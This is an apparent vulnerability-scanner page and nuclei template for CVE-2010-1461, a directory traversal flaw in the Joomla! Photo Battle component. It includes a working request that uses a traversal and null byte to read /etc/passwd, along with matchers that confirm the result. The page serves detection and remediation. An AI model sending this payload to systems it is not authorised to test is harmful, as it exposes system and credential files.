Joomla! Component Photo Battle 1.0.1 - Local File Inclusion

mediumseverity

5CVSS score

8.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Photo Battle (com_photobattle) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via the view parameter to index.php.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! application.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1461 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1461

info:
  name: Joomla! Component Photo Battle 1.0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Photo Battle (com_photobattle) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via the view parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! application.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12232
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1461
    - http://www.exploit-db.com/exploits/12232
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1461
    cwe-id: CWE-22
    epss-score: 0.08233
    epss-percentile: 0.94938
    cpe: cpe:2.3:a:gogoritas:com_photobattle:1.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gogoritas
    product: com_photobattle
  tags: cve,cve2010,joomla,lfi,photo,edb,gogoritas,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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